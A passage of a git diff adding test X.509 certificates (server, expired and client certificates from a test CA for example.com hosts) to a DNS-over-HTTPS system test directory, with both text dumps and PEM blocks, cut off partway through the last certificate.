+M1owKTEnMCUGA1UEAwwec3J2MDEuY3J0MDItbm8tc2FuLmV4YW1wbGUuY29tMHYw
+EAYHKoZIzj0CAQYFK4EEACIDYgAEoy0z/ZKQ3APvNvmkqJDxR2m+6I5lCNrls4Jj
+HK+aN7R1fM5G+xkXvJByT3S2RTn3lrNEhRytatukdobujic992F43+EEiuuRiwFn
+tmkyVFAcVobaL+/kPZS691sCFLUTMA0GCSqGSIb3DQEBCwUAA4IBgQAHICqmelJS
+uh63ec/mEZzKP0Mr89cudHRXgaGq5mjJ/dGoplui/+r38LdG3KBaZF/O5w92YxRt
+wlFLMOpRfkob07L4wj0/wb+t2034KDHnda6EN5AA5Qtr3COYadXvzuIN5xnxMQEf
+Kmwjo5Rier+zsBPQYvylpg1Su/Qx//POOnRmMH8pBI00kHqbj9qCLlyB3a/6OqFO
+uwpMYgFAOWecKSduL3aBLTNo7u7tAH8Seq9DAHstNIommmYc5ZYXfPhtHowXOc5P
+C55AcuFeMz+ehLUH9atY1zft0CmtzgIN+m+WqQ5sbjLS3BEjo0pgVLSYMduPS0xY
+ZDlP/yfQAuXMshfoRtyqy9w97RRS7G2mzQQv/VQWbH5jNBfxHbg33SBs9iEZb7ti
+3bxsQTStsZDrKuBj6nBgagLo/kZRsZ08VFRzJbdB0Uw0qohIuAEhrtjTBjgFZXjn
+OPD25i5hwEJeOwlZ6wlITVV8r/TewQmgtGD3nqLVRvwFYWngwS0m3EI=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52003.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52003.pem
new file mode 100644
index 0000000000..d061c2c754
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52003.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207427 (0x6bb3183cdef52003)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:57:59 2022 GMT
+            Not After : Feb  1 17:57:59 2052 GMT
+        Subject: CN=srv02.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:43:d4:fb:cc:b8:88:60:95:16:aa:2a:d0:31:96:
+                    cb:3e:a8:5c:e4:76:ac:c1:bf:cd:3b:65:85:bb:2c:
+                    cb:fa:c3:48:3c:83:c8:08:ee:dc:59:15:97:22:b8:
+                    42:17:8c:75:09:f9:3e:b6:9c:f2:c5:db:5d:b6:8a:
+                    6a:43:48:0a:a2:dd:13:c2:36:e4:73:b3:64:54:79:
+                    bb:f8:d4:7e:48:f4:05:be:0c:77:63:01:fe:4f:30:
+                    b0:aa:62:bc:f2:ed:f9
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv02.crt01.example.com, IP Address:10.53.0.2, IP Address:FD92:7065:B8E:FFFF:0:0:0:2
+    Signature Algorithm: sha256WithRSAEncryption
+         89:ba:ae:4f:f8:3e:da:48:1f:5c:8f:ff:ee:d8:42:b0:0b:9b:
+         f1:b5:e2:90:c9:76:40:09:77:a3:31:d5:73:8f:eb:7d:69:94:
+         1c:2b:10:31:da:d4:0c:29:e7:80:4e:61:53:ba:15:9d:e1:e8:
+         0c:0d:19:77:2b:a8:74:46:e3:03:ae:ab:96:ea:af:80:c3:18:
+         e0:93:8e:e9:58:0e:79:47:98:a4:06:95:6b:8f:2c:d1:f7:29:
+         b1:98:85:e8:a4:9c:45:52:ad:c8:60:20:dc:3a:6a:40:78:15:
+         d1:b4:d0:c3:c5:f3:ac:fe:ec:d3:94:ef:66:0b:d7:8c:46:f3:
+         62:30:c4:c2:78:65:de:40:4e:d8:26:84:8e:18:a7:71:f2:b7:
+         65:d8:d0:c2:c8:e6:a0:fb:ea:01:de:2f:03:8a:50:3d:f6:6c:
+         0b:ef:ce:f5:25:1f:80:54:3e:c2:6d:2c:d3:2b:bd:23:b7:3b:
+         82:6b:91:7f:ea:ff:e6:11:37:d3:f0:d4:db:9f:32:ac:12:cc:
+         ec:25:25:81:58:16:18:90:73:c3:ad:7c:09:a7:08:99:16:ce:
+         e8:6c:4b:9a:e6:09:96:11:c2:f1:cf:19:43:a6:a6:81:f2:57:
+         21:fa:b1:91:58:39:76:17:89:32:4c:4b:df:fa:59:03:b2:32:
+         b4:b3:95:89:af:f4:5e:94:b1:df:e9:bf:21:73:14:06:5d:08:
+         1e:0f:d2:84:14:44:20:91:19:72:b9:38:0b:3c:2e:4f:ea:3a:
+         9b:ef:93:61:e7:36:82:df:49:e2:d7:45:ea:87:45:1d:74:36:
+         18:f4:aa:30:d5:65:da:1f:c7:98:61:ab:64:2a:49:98:64:a1:
+         8c:33:3a:a5:97:4a:69:a6:9d:6f:00:b9:6b:81:8d:09:0f:98:
+         63:0f:85:ae:e4:21:70:a3:da:5a:27:eb:df:6d:82:ac:bb:48:
+         6b:01:4e:36:95:5a:d3:f0:b9:30:43:72:87:af:41:7a:30:13:
+         f2:92:15:f1:69:e7
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAMwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTc1OVoYDzIwNTIwMjAx
+MTc1NzU5WjAiMSAwHgYDVQQDDBdzcnYwMi5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABEPU+8y4iGCVFqoq0DGWyz6oXOR2rMG/zTtlhbss
+y/rDSDyDyAju3FkVlyK4QheMdQn5Prac8sXbXbaKakNICqLdE8I25HOzZFR5u/jU
+fkj0Bb4Md2MB/k8wsKpivPLt+aM+MDwwOgYDVR0RBDMwMYIXc3J2MDIuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAKHEP2ScGULjv//AAAAAAAAAAIwDQYJKoZIhvcNAQEL
+BQADggGBAIm6rk/4PtpIH1yP/+7YQrALm/G14pDJdkAJd6Mx1XOP631plBwrEDHa
+1Awp54BOYVO6FZ3h6AwNGXcrqHRG4wOuq5bqr4DDGOCTjulYDnlHmKQGlWuPLNH3
+KbGYheiknEVSrchgINw6akB4FdG00MPF86z+7NOU72YL14xG82IwxMJ4Zd5ATtgm
+hI4Yp3Hyt2XY0MLI5qD76gHeLwOKUD32bAvvzvUlH4BUPsJtLNMrvSO3O4JrkX/q
+/+YRN9Pw1NufMqwSzOwlJYFYFhiQc8OtfAmnCJkWzuhsS5rmCZYRwvHPGUOmpoHy
+VyH6sZFYOXYXiTJMS9/6WQOyMrSzlYmv9F6Usd/pvyFzFAZdCB4P0oQURCCRGXK5
+OAs8Lk/qOpvvk2HnNoLfSeLXReqHRR10Nhj0qjDVZdofx5hhq2QqSZhkoYwzOqWX
+SmmmnW8AuWuBjQkPmGMPha7kIXCj2lon699tgqy7SGsBTjaVWtPwuTBDcoevQXow
+E/KSFfFp5w==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52004.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52004.pem
new file mode 100644
index 0000000000..39b48eeb40
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52004.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207428 (0x6bb3183cdef52004)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:58:15 2022 GMT
+            Not After : Feb  1 17:58:15 2052 GMT
+        Subject: CN=srv03.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:45:db:b9:1b:37:65:bf:b1:a1:8a:5a:39:00:8d:
+                    4a:15:3b:43:9a:b8:2f:ff:a8:7d:99:83:a8:9c:dc:
+                    b6:c2:aa:9f:f8:51:a1:0e:2e:97:0f:90:13:22:4c:
+                    8b:f1:ff:3c:6b:eb:91:29:7d:4c:df:7c:05:dd:ad:
+                    ea:4a:4c:ad:0a:d6:6f:8e:51:b0:88:58:42:88:2c:
+                    16:d4:47:1d:b8:8f:b3:4e:0d:12:df:4c:14:f6:27:
+                    20:3f:94:9a:23:81:48
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv03.crt01.example.com, IP Address:10.53.0.3, IP Address:FD92:7065:B8E:FFFF:0:0:0:3
+    Signature Algorithm: sha256WithRSAEncryption
+         8f:96:88:82:94:76:8e:97:b6:75:8b:e9:2b:4f:f3:8f:14:5c:
+         50:00:ca:67:96:9e:2e:bd:53:25:25:40:6d:c5:56:e6:1a:f6:
+         cb:fb:58:fc:b3:56:9d:fc:0b:e2:8e:99:7e:e8:e6:ad:b6:e7:
+         e6:3e:8a:59:ef:3e:76:a4:ed:7b:58:fd:a3:4b:aa:4e:11:e1:
+         57:bf:b1:23:a5:a1:00:f8:95:07:c8:7d:ee:ac:a7:c8:24:ee:
+         cf:e8:c5:a4:9f:96:27:c9:47:c1:7d:11:de:66:d0:6d:d1:8d:
+         e7:8f:a0:0f:46:d9:2e:70:f3:9f:ac:6a:b0:3f:5a:dc:70:d4:
+         b9:a5:f3:ff:5c:21:50:5d:c2:a2:46:26:25:2a:2f:8a:aa:7a:
+         fd:76:31:5f:e0:25:a3:ee:df:36:f0:ab:05:a1:5d:0d:3c:6b:
+         2c:1d:d5:c5:73:9c:a0:57:1f:c4:26:e6:dc:a1:7c:25:08:21:
+         61:28:e2:b3:f5:51:83:20:73:14:19:8f:47:79:69:bc:2b:22:
+         f2:17:62:1d:83:f7:4f:a9:c4:51:68:e0:a9:d7:9f:17:6a:d2:
+         fd:f7:04:ce:a4:f5:8e:eb:31:b4:bf:c6:2d:da:0c:70:6e:0c:
+         a5:75:21:54:3c:f6:3d:36:b8:8a:d8:b6:7b:77:7e:54:1d:9f:
+         91:8f:02:a6:d1:2c:a7:30:d1:cc:e6:d9:6b:76:80:15:4b:ba:
+         fd:55:20:cc:b2:99:85:57:60:11:97:c5:e7:28:50:a6:17:af:
+         d2:bd:1b:7e:06:48:7f:63:dc:70:f8:3f:22:9f:41:a1:66:f5:
+         a7:81:99:cb:07:0e:8a:9a:bb:12:f6:c0:fe:59:0c:00:37:15:
+         b2:9d:f0:f9:93:d1:1a:b6:f8:0a:6b:bd:9e:92:32:45:f5:a2:
+         44:f0:45:8d:1a:d0:10:b2:db:98:c4:c7:5e:c1:e8:f3:94:33:
+         6c:06:f5:1a:cc:51:23:72:ae:37:2f:57:d4:f8:ac:1f:25:b4:
+         d3:bf:99:9b:ac:fc
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAQwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTgxNVoYDzIwNTIwMjAx
+MTc1ODE1WjAiMSAwHgYDVQQDDBdzcnYwMy5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABEXbuRs3Zb+xoYpaOQCNShU7Q5q4L/+ofZmDqJzc
+tsKqn/hRoQ4ulw+QEyJMi/H/PGvrkSl9TN98Bd2t6kpMrQrWb45RsIhYQogsFtRH
+HbiPs04NEt9MFPYnID+UmiOBSKM+MDwwOgYDVR0RBDMwMYIXc3J2MDMuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AAOHEP2ScGULjv//AAAAAAAAAAMwDQYJKoZIhvcNAQEL
+BQADggGBAI+WiIKUdo6XtnWL6StP848UXFAAymeWni69UyUlQG3FVuYa9sv7WPyz
+Vp38C+KOmX7o5q225+Y+ilnvPnak7XtY/aNLqk4R4Ve/sSOloQD4lQfIfe6sp8gk
+7s/oxaSflifJR8F9Ed5m0G3RjeePoA9G2S5w85+sarA/Wtxw1Lml8/9cIVBdwqJG
+JiUqL4qqev12MV/gJaPu3zbwqwWhXQ08aywd1cVznKBXH8Qm5tyhfCUIIWEo4rP1
+UYMgcxQZj0d5abwrIvIXYh2D90+pxFFo4KnXnxdq0v33BM6k9Y7rMbS/xi3aDHBu
+DKV1IVQ89j02uIrYtnt3flQdn5GPAqbRLKcw0czm2Wt2gBVLuv1VIMyymYVXYBGX
+xecoUKYXr9K9G34GSH9j3HD4PyKfQaFm9aeBmcsHDoqauxL2wP5ZDAA3FbKd8PmT
+0Rq2+AprvZ6SMkX1okTwRY0a0BCy25jEx17B6POUM2wG9RrMUSNyrjcvV9T4rB8l
+tNO/mZus/A==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52005.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52005.pem
new file mode 100644
index 0000000000..b4e2d22a88
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52005.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207429 (0x6bb3183cdef52005)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb  8 17:59:14 2022 GMT
+            Not After : Feb  1 17:59:14 2052 GMT
+        Subject: CN=srv04.crt01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:9e:43:d7:cc:29:e1:8e:4b:35:a1:8f:b7:8f:30:
+                    0f:56:b3:5b:7f:c0:62:9b:23:21:70:b1:2b:e7:73:
+                    f9:ea:38:01:66:4b:52:43:31:cf:10:69:15:bf:6b:
+                    08:f3:69:07:3f:99:bb:b8:70:d0:3b:89:22:1d:f2:
+                    25:42:5a:3e:55:91:c3:fc:b4:be:c7:2d:86:51:14:
+                    c4:ab:fe:7c:54:34:67:c7:5e:db:86:84:cc:66:eb:
+                    54:af:9d:7d:dc:ce:18
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv04.crt01.example.com, IP Address:10.53.0.4, IP Address:FD92:7065:B8E:FFFF:0:0:0:4
+    Signature Algorithm: sha256WithRSAEncryption
+         48:b5:38:59:79:e6:51:a6:ea:80:d7:d1:3c:29:03:70:31:e4:
+         43:b4:e3:09:e7:e1:37:8c:d0:0f:2a:19:7a:f2:5a:6d:76:cd:
+         17:7a:66:1c:3e:74:56:24:b8:29:06:55:b2:1c:af:9a:42:05:
+         93:a4:70:cb:a5:68:85:ab:71:53:da:d9:29:a3:f4:2a:1e:df:
+         0c:ec:7d:52:55:fa:9b:e6:a0:18:d5:4c:da:e6:d2:60:da:bc:
+         09:5b:13:53:6d:c7:d2:30:b9:a8:a5:02:7f:a3:66:28:34:93:
+         de:55:a0:de:b5:c8:dc:43:7b:b9:03:06:1f:ce:8c:5f:82:d8:
+         af:40:56:ce:f8:b9:d4:73:1c:ae:c9:cb:1d:0f:a2:52:71:9b:
+         8b:05:f4:d6:0b:1e:a8:db:0f:29:a0:43:b5:2f:56:09:d8:68:
+         58:9c:e5:6a:df:38:91:56:9d:44:e5:d2:ca:9a:b1:41:a1:01:
+         0c:68:a0:f5:0a:f7:98:4f:d5:a0:6f:99:59:a0:e0:cb:49:57:
+         26:20:09:5a:fa:c2:75:40:f6:1b:6a:ac:55:47:50:8d:38:81:
+         61:79:44:e7:d5:d1:b3:c7:3b:db:ec:44:59:ef:e1:82:31:a3:
+         38:4c:de:40:11:31:52:8b:bb:1c:af:be:ce:c5:2b:f5:0d:c0:
+         60:13:fb:7e:da:22:41:d4:85:5e:4d:ba:db:f8:f7:26:61:32:
+         26:fe:fe:9e:37:a3:cc:25:3b:3c:c8:b5:a7:a5:5c:d9:4d:8f:
+         a8:f2:86:98:79:b3:00:08:0f:f2:c9:1f:c6:3f:07:ad:e4:a7:
+         8d:86:3d:15:fa:5b:1a:0f:96:67:b6:0a:78:0a:bb:6e:05:a6:
+         54:29:48:b4:f9:48:0d:7f:f0:13:65:32:2f:c5:ee:ab:b8:e8:
+         0d:b2:f9:c9:96:d2:cf:51:a2:64:3c:58:0f:65:6f:c6:99:93:
+         76:2c:42:08:d9:f3:f3:13:cd:41:b6:67:8f:1d:9a:2f:da:93:
+         3d:26:4c:9a:11:c1
+-----BEGIN CERTIFICATE-----
+MIIDMzCCAZugAwIBAgIIa7MYPN71IAUwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIwODE3NTkxNFoYDzIwNTIwMjAx
+MTc1OTE0WjAiMSAwHgYDVQQDDBdzcnYwNC5jcnQwMS5leGFtcGxlLmNvbTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABJ5D18wp4Y5LNaGPt48wD1azW3/AYpsjIXCxK+dz
++eo4AWZLUkMxzxBpFb9rCPNpBz+Zu7hw0DuJIh3yJUJaPlWRw/y0vscthlEUxKv+
+fFQ0Z8de24aEzGbrVK+dfdzOGKM+MDwwOgYDVR0RBDMwMYIXc3J2MDQuY3J0MDEu
+ZXhhbXBsZS5jb22HBAo1AASHEP2ScGULjv//AAAAAAAAAAQwDQYJKoZIhvcNAQEL
+BQADggGBAEi1OFl55lGm6oDX0TwpA3Ax5EO04wnn4TeM0A8qGXryWm12zRd6Zhw+
+dFYkuCkGVbIcr5pCBZOkcMulaIWrcVPa2Smj9Coe3wzsfVJV+pvmoBjVTNrm0mDa
+vAlbE1Ntx9IwuailAn+jZig0k95VoN61yNxDe7kDBh/OjF+C2K9AVs74udRzHK7J
+yx0PolJxm4sF9NYLHqjbDymgQ7UvVgnYaFic5WrfOJFWnUTl0sqasUGhAQxooPUK
+95hP1aBvmVmg4MtJVyYgCVr6wnVA9htqrFVHUI04gWF5ROfV0bPHO9vsRFnv4YIx
+ozhM3kARMVKLuxyvvs7FK/UNwGAT+37aIkHUhV5Nutv49yZhMib+/p43o8wlOzzI
+taelXNlNj6jyhph5swAID/LJH8Y/B63kp42GPRX6WxoPlme2CngKu24FplQpSLT5
+SA1/8BNlMi/F7qu46A2y+cmW0s9RomQ8WA9lb8aZk3YsQgjZ8/MTzUG2Z48dmi/a
+kz0mTJoRwQ==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52006.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52006.pem
new file mode 100644
index 0000000000..4befde4237
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52006.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207430 (0x6bb3183cdef52006)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Aug 15 08:00:00 2012 GMT
+            Not After : Aug 15 09:00:00 2012 GMT
+        Subject: CN=srv01.crt03-expired.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:1f:d5:7b:ab:73:b2:70:15:fd:33:26:02:5c:76:
+                    16:80:0c:70:7d:57:83:75:ac:3c:b7:4a:02:46:35:
+                    c1:1b:c1:7a:bd:be:f2:04:9a:7f:69:83:7f:54:9a:
+                    1b:10:62:d7:70:bd:ef:26:90:51:50:10:77:56:b7:
+                    1a:2f:44:5e:91:46:36:e1:2e:a4:4c:67:2e:62:a8:
+                    7f:1a:15:10:44:68:8b:18:ea:cf:b8:96:09:bf:b5:
+                    3a:d1:ef:10:8f:9f:bb
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt03-expired.example.com, IP Address:10.53.0.1, IP Address:FD92:7065:B8E:FFFF:0:0:0:1
+    Signature Algorithm: sha256WithRSAEncryption
+         25:35:08:f6:e7:f0:83:81:be:65:31:1b:78:a8:04:84:fe:6a:
+         2a:1a:5d:c1:73:20:88:08:11:d8:27:be:a5:8e:3c:df:e2:a6:
+         19:c5:41:40:ea:01:91:85:99:8d:17:4e:4d:9a:3c:03:f9:78:
+         4c:8a:20:41:5e:96:d6:64:83:2f:b2:fe:e7:77:09:f9:91:bd:
+         22:1a:57:8b:f6:24:bc:7b:48:2b:2e:14:b7:32:bd:46:91:99:
+         5e:21:9a:d3:15:a7:27:e1:c0:3a:c7:f5:f9:94:3f:6d:14:7e:
+         0b:02:bf:05:d9:ac:10:8a:7e:b0:37:36:cd:cb:4a:b4:e1:01:
+         c7:04:8d:83:f3:c6:79:ff:ff:6c:f0:a4:bf:3c:12:61:ea:15:
+         ac:30:62:26:e3:c3:4e:7d:5c:68:d8:88:de:35:8d:44:75:8c:
+         a8:c1:0d:07:67:b5:d0:42:43:41:1f:39:a0:47:35:46:d7:0f:
+         89:aa:e8:d3:86:45:9a:fb:33:01:06:23:64:53:24:48:5b:69:
+         fa:cf:d9:81:fb:5e:7e:7b:82:65:56:c6:46:65:5c:e1:4f:f2:
+         3c:09:3c:28:5f:c9:e3:a5:24:e3:7b:aa:b5:b1:8a:6a:b2:02:
+         32:5f:24:05:f1:67:c8:54:17:0c:cd:ca:3d:e4:44:3e:23:3a:
+         7c:63:b6:f9:61:3a:21:e7:8f:27:ad:c3:26:86:39:49:6c:41:
+         40:7f:1d:48:69:8d:db:6f:42:e4:09:fe:24:62:bd:8e:2e:54:
+         25:f0:14:c2:d8:43:95:09:2e:5f:72:4f:43:b5:9a:8b:bb:8c:
+         44:c6:77:c9:05:fb:1a:9f:d7:b6:a6:42:d9:5c:3d:a5:09:0f:
+         9e:e0:c7:06:32:f1:ff:c9:53:5e:42:d4:2a:33:ad:06:ea:ec:
+         b0:26:d3:3c:ef:65:af:15:8e:7b:20:49:ad:f1:56:ef:17:6b:
+         fc:f4:d8:7c:82:9f:30:19:d0:bc:9c:79:e2:dc:9d:a7:f9:6b:
+         6f:65:ae:21:a0:94
+-----BEGIN CERTIFICATE-----
+MIIDQTCCAamgAwIBAgIIa7MYPN71IAYwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTEyMDgxNTA4MDAwMFoXDTEyMDgxNTA5
+MDAwMFowKjEoMCYGA1UEAwwfc3J2MDEuY3J0MDMtZXhwaXJlZC5leGFtcGxlLmNv
+bTB2MBAGByqGSM49AgEGBSuBBAAiA2IABB/Ve6tzsnAV/TMmAlx2FoAMcH1Xg3Ws
+PLdKAkY1wRvBer2+8gSaf2mDf1SaGxBi13C97yaQUVAQd1a3Gi9EXpFGNuEupExn
+LmKofxoVEERoixjqz7iWCb+1OtHvEI+fu6NGMEQwQgYDVR0RBDswOYIfc3J2MDEu
+Y3J0MDMtZXhwaXJlZC5leGFtcGxlLmNvbYcECjUAAYcQ/ZJwZQuO//8AAAAAAAAA
+ATANBgkqhkiG9w0BAQsFAAOCAYEAJTUI9ufwg4G+ZTEbeKgEhP5qKhpdwXMgiAgR
+2Ce+pY483+KmGcVBQOoBkYWZjRdOTZo8A/l4TIogQV6W1mSDL7L+53cJ+ZG9IhpX
+i/YkvHtIKy4UtzK9RpGZXiGa0xWnJ+HAOsf1+ZQ/bRR+CwK/BdmsEIp+sDc2zctK
+tOEBxwSNg/PGef//bPCkvzwSYeoVrDBiJuPDTn1caNiI3jWNRHWMqMENB2e10EJD
+QR85oEc1RtcPiaro04ZFmvszAQYjZFMkSFtp+s/ZgftefnuCZVbGRmVc4U/yPAk8
+KF/J46Uk43uqtbGKarICMl8kBfFnyFQXDM3KPeREPiM6fGO2+WE6IeePJ63DJoY5
+SWxBQH8dSGmN229C5An+JGK9ji5UJfAUwthDlQkuX3JPQ7Wai7uMRMZ3yQX7Gp/X
+tqZC2Vw9pQkPnuDHBjLx/8lTXkLUKjOtBurssCbTPO9lrxWOeyBJrfFW7xdr/PTY
+fIKfMBnQvJx54tydp/lrb2WuIaCU
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52007.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52007.pem
new file mode 100644
index 0000000000..0b4c115d1c
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52007.pem
@@ -0,0 +1,68 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207431 (0x6bb3183cdef52007)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb 10 17:44:20 2022 GMT
+            Not After : Feb  3 17:44:20 2052 GMT
+        Subject: CN=srv01.client01.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:5e:93:6a:7a:da:75:cc:64:08:e4:f8:f9:2f:2b:
+                    85:36:ee:e1:df:fa:cd:4c:60:f1:44:b5:16:7b:f9:
+                    03:cf:a0:08:67:6f:ae:27:a3:95:8a:68:1e:63:ab:
+                    cf:2e:20:62:52:e7:8c:3e:1e:ef:de:0d:69:64:65:
+                    b6:e4:df:fe:1a:48:f8:68:75:84:83:11:fb:81:59:
+                    0e:c1:96:48:7f:24:da:11:dd:ac:cb:0a:c5:09:78:
+                    24:31:3a:df:37:e6:b3
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client01.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         82:bd:eb:8f:4e:a5:d2:46:c7:d8:70:3c:34:1d:58:43:1b:81:
+         16:5d:c2:b0:76:4b:a9:f2:10:14:23:e4:ef:dc:59:03:b6:7f:
+         b0:40:34:e5:d0:82:4b:95:a6:07:9a:45:51:94:cf:08:c2:4e:
+         c9:44:d5:f3:b6:ed:f2:a0:01:94:ad:e0:0e:0f:ab:85:6f:35:
+         4b:07:c8:97:25:fb:69:ff:a1:99:bc:ec:70:6c:51:b5:32:95:
+         e9:c9:45:cf:45:e2:c5:5e:b1:59:a2:e1:f2:83:c8:87:68:c4:
+         60:e2:db:50:6c:18:64:1b:9a:9a:cc:7c:e7:fd:d9:f2:b7:d1:
+         de:1d:ec:29:c9:58:db:7b:9a:a1:06:9a:ce:36:a0:45:10:dc:
+         7d:81:24:21:34:30:4c:71:f9:fc:96:37:d6:cf:0d:9d:11:12:
+         c7:62:bc:19:5b:79:e5:e0:37:e8:17:36:4b:13:af:fa:2c:2e:
+         36:d9:be:53:e1:c3:f9:bc:94:a6:7a:97:14:99:36:f9:14:38:
+         11:20:3a:2a:9d:fd:64:63:d0:a2:8f:f0:99:a9:02:ca:57:48:
+         d2:7d:65:44:b6:85:a0:38:ec:e8:19:7e:c2:48:e3:1d:22:53:
+         cf:3b:d4:0a:98:e1:72:62:ec:8b:01:3f:5a:ea:26:2c:8c:16:
+         c3:80:5a:c2:5d:40:c5:65:1c:e2:9a:e3:d6:65:16:ee:dc:17:
+         30:d8:26:87:92:d0:ef:c7:72:07:99:86:05:9e:49:35:41:33:
+         b9:bb:cb:1b:25:50:70:85:e3:0f:c7:b9:b2:37:00:1b:87:a2:
+         47:97:34:5b:cd:dc:66:22:e5:de:25:ec:57:fe:37:75:2c:03:
+         10:f4:d4:a7:cc:f5:4b:0b:ff:eb:d3:a6:78:2e:cd:8f:65:51:
+         a7:8c:ef:83:67:ec:94:13:c2:1f:74:74:55:7c:a3:0b:b7:2f:
+         80:5a:62:04:1d:a2:c0:c1:de:b2:7d:31:3b:a1:fa:f7:40:a7:
+         bd:12:25:95:5b:8b
+-----BEGIN CERTIFICATE-----
+MIIDITCCAYmgAwIBAgIIa7MYPN71IAcwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
